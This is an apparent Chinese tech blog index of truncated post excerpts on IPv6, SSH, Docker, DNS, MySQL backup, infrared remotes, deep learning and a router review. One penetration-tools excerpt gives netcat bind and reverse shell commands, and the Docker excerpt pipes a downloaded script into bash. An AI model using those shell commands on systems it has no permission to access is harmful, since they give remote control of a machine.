IPV6的基础知识
【IPv6地址自动配置的一些基础知识】IPv6地址自动配置的三种基本形式:1)Stateless无状态的。 这个过程是 “无状态的”,原因是它不依赖于外部分配机制(例如IPv6动态主机配置协议(DHCPv6))的状态或是否存在。 在没有外部或用户干预的情况下, 设备尝试配置其自身的IPv6地址 (可能是多个地址)。2)Stateful有状态的。 有状态的过程仅依赖于外部地址分配机制(例如DHCPv6)。DHCPv6服务器以类似于IPv4 DHCP操作的方式,将128bit IPv6地址分配给设备。3)Stateless+Stateful无状态和有状态组合方式。 这个过程涉及无状态地址自动配置与其他IP参数的有状态配置相结合一起使用的形式。 通常情况下, 这需要一台设备使用无状态方法自动配置一个IPv6地址,之后利用DHCPv6得到其他参数或选项,比如要在给定网络上联系哪台NTP服务器来查询时间分辨率。
无状态使用无状态地址自动配置 (SLAAC, Stateless address Autoconfiguration)
有状态使用IPv6动态主机配置协议 (DHCPv6, Dynam ...
网络渗透工具
棱角社区这里面有很多方便快捷的工具和命令,帮助我们完成包括文件上传和反弹shell的操作。棱角社区
ncat命令使用他的主要作用是反弹shell。那么就会有两种方式:
正向反弹123456# 被控制端nc -lvp <PORT> -e /bin/bash# 控制端nc <IP> <PORT>
反向反弹12345# 被控制端nc -e /bin/bash <IP> <PORT># 控制端nc -lvp <PORT>
不可否认的就是一定是被控制端将bash的权限交出来。但是正向和反向取决于是我们监听还是被监听。
win下ssh连接报错被修改
删除旧ssh密钥1234567891011121314[user@hostname ~]$ ssh root@pong@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!Someone could be eavesdropping on you right now (man-in-the-middle attack)!It is also possible that a host key has just been changed.The fingerprint for the RSA key sent by the remote host is6e:45:f9:a8:af:38:3d ...
一键安装docker
安装dockerdocker官方提供了傻瓜式安装脚本,为你做好所有工作,免去了手动安装的繁琐。
本文实测系统环境:debian11
执行以下命令
不知道从什么时候开始官方脚本已经默认也安装了 docker compose, 不需要后面的手动安装了, 因此已删除多余的内容
也就是说, 只需要执行下面的一键脚本
注意是 docker compose 而不是 docker-compose. 执行命令时候也没有这个杠
1curl -fsSL https://get.docker.com | bash -s docker
可在此命令后附带–mirror参数设置镜像源,以提高国内服务器下载docker的速度
如使用阿里云镜像:
1curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
docker主动代理
创建或修改 Docker 配置文件 在 Linux 上,Docker 配置文件通常位于 /etc/systemd/system/docker.service.d ...
子域名共享使用
记录最近想到的一个小知识点
问题起源在最开始我还没有购买自己的域名时,我大多时候想着白嫖,于是就逛了很多包括MyDomain,eu.org此类的网站。同时也在一些学习的qq群里看到有人共享二级域名给别人免费使用。这么一想,我突然发现。似乎是个可以免费提供出去的服务(适用场景:在一个小团队里,大家并不需要每个人都购买一个域名,而是统一的在一个team.com的一级域名下,在将每个二级域名例如:名字缩写+team.com这样式的。分配给每一个人,这样每个人都会有一个自己可以完全支配的域名)。
这个功能在github,jetbrain Space中,语雀语雀里有些不一样的。但是他们都是根据你的用户名生成一个唯一的字符串,然后把这个字符串与他们自己的域名拼接起来。然后CNAME到一个具体的个人主页。这样就算是有一个属于你自己的个人主页和唯一的地址。
而我所表达的是,你拥有一个完全可以分离出去的二级域名,你可以把这个二级域名再做单独的解析。
实操这里我以DNSPod举例,他是一个国产的DNS解析服务商,他的免费版就可以实现这个功能。
首先我们点击添加域名,然后输入我们的二级域名,这里我输 ...
数据库备份及恢复
常用数据库备份策略
mysqldump工具备份(数据量小) mysqldump由于是mysql自带的备份工具,所以也是最常用的mysql数据库的备份工具。支持基于InnoDB的热备份。但由于是逻辑备份,所以速度不是很快,适合备份数据量比较小的场景。
mysqldump完全备份+二进制日志 —>实现时间点恢复
基于LVM快照备份(冷备份)
在物理备份中 ,有基于文件系统的物理备份(LVM的快照),也可以直接用tar之类的命令打包。但这些只能进行冷备份
不同的存储引擎能备份的级别也不一样,MyISAM能备份到表级别,而InnoDB不开启每表一文件的话就只能备份整个数据库。
使用percona提供的xtrabackup(推荐)
支持InnoDB的物理热备份,支持完全备份,增量备份,而且速度非常快,而且支持InnoDB引擎的数据在不同数据库迁移。 优点如下:
无需停止数据库进行InnoDB热备份,在50G以上的数据量备份时候,应该是首选工具。
支持增量备份MySQL并通过流传输到其他的服务器上。
备份MySQL的时候不会增加服务器的负载。
在这里我们不演示如何备 ...
嵌入式模拟格力空调遥控器
记录一下:在嵌入式实验中,通过实现模拟格力空调的红外信号实现了使用单片机遥控空调的效果。
红外信号传输原理红外线的通讯原理 红外光是以特定的频率脉冲形式发射,接收端收到到信号后,按照约定的协议进行解码,完成数据传输,在消费类电子产品里,脉冲频率普遍采用 30KHz 到 60KHz 这个频段,NEC协议的频率就是38KHZ。 这个以特定的频率发射其实就可以理解为点灯,不要被复杂的词汇难住了,就是控制灯的闪烁频率(亮灭),和刚学单片机完成闪光灯一样的意思,只不过是灯换了一种类型,都是灯。 接收端的原理: 接收端的芯片对这个红外光比较敏感,可以根据有没有光输出高低电平,如果发送端的闪烁频率是有规律的,接收端收到后输出的高电平和低电平也是有规律对应的,这样发送端和接收端只要约定好,那就可以做数据传输了。
红外接收原理NEC协议NEC协议是众多红外线协议中的一种(这里说的协议就是他们数据帧格式定义不一样,数据传输原理都是一样的),我们购买的外能遥控器、淘宝买的mini遥控器、电视机、投影仪几乎都是NEC协议。 像格力空调、美的空调这些设备使用的就是其他协议格式,不是NEC协议,但是只要学会一 ...
深度学习再入门
什么是深度学习深度学习是一种人工智能(AI)方法,用于教计算机以受人脑启发的方式处理数据。深度学习模型可以识别图片、文本、声音和其他数据中的复杂模式,从而生成准确的见解和预测。
深度学习的广义作用计算机视觉计算机视觉是指计算机从图像和视频中提取信息及见解的能力。计算机可以使用深度学习技术来理解图像,就像人类一样。计算机视觉具有多种应用,如下所示:
内容审核,用于从图像和视频归档中自动删除不安全或不适当的内容
面部识别,用于识别面部和多项属性,如睁开的眼睛、眼镜以及面部毛发
图像分类,用于识别品牌徽标、服装、安全装备和其他图像细节
语音识别深度学习模型可以分析人类语音,尽管说话模式、音调、语气、语言和口音不尽相同。虚拟助手(如 Amazon Alexa)和自动转录软件使用语音识别执行以下任务:
自然语言处理计算机使用深度学习算法从文本数据和文档中收集见解和意义。这种处理自然的、人工创建的文本的能力有几个使用场景,包括在以下功能中:推荐引擎应用程序可以使用深度学习方法来跟踪用户活动并开发个性化推荐。它们可以分析各种用户的行为,并帮助他们发现新产品或服务。例如,许多媒体和娱乐公司,例如 ...
定时器分时操作系统
前后台系统,RTOS与定时器任务管理系统前后台系统
在裸机上写程序,通常把程序分为两部分:前台系统和后台系统。
简单的小系统通常是前后台系统,这样的程序包括一个死循环和若干个中断服务程序:应用程序是一个无限循环,循环中调用API函数完成所需的操作,这个大循环就叫做后台系统。中断服务程序用于处理系统的异步事件,也就是前台系统。前台是中断级,后台是任务级。
写这个系统的目的:
为了能够充分利用cpu,不让他闲下来
可以实现多个功能同时发生
(前置条件):你需要知道只有一个cpu,他在物理的层面上是不可能同时发生的,但是他们可以欺骗人类,人类的视觉暂留有0.1s到0.4s
只要这几个任务执行的频率足够高,那么对你而言,他们就是同时发生的.
第二个点就是(化delay为挂起). 假设我们要执行一个跑马灯的操作,如果我们要设置他跑的慢一点,我们可以再他的每个灯显示后添加一个delay(time),但是在delay期间,我们的cpu是单纯的在等待,什么都没做. 于是我们可以设置一个时间任务,设置多少秒(只要设置和delay一样的时间就可以实现和delay一样的效果)而且在这些时间的 ...
鲲鹏c8-650使用体验
开箱一台鲲鹏CPE,型号为鲲鹏C8-650,官方定位为青春极客产品。
我是3.21晚上十一点首发购买的,首发价格899,到货返还200,实际699到手,目前全面699价格铺货。先看一下产品和包装吧。
C8系列同模具外壳
右上角送的散热器 口罩防尘 赠品包括散热器、dc一分二、诱骗线特别说明:C8-650以及C8-668官方宣传为“支持开源”,原厂固件在系统备份升级一项中有刷写第二系统的入口。第二系统openwrt固件由玩家自制,C8-650的openwrt固件由周佬@Manper 制作,有幸成为第一位体验者,由于我是第一批三月底就拿到手的,当时C8-650的固件还没有制作,路由部分650主板与668完全一致,仅5G模块部分有所差异,到手时我就尝试刷入了668的第二系统,可以成功开机,模块部分也能识别,但是无法拨号上网。直入主题,下边是购买及使用体验:从去年七月份产生“使用移动网络给设备稳定供网”的想法开始,我先后使用了4G手机,5G手机usb共享网络+小米r3g路由器供网,以及4G随身wifi棒子+路由器供网,均无法满足日常需求,手机usb网络共享的方式连接路由器,经常会出现断电后 ...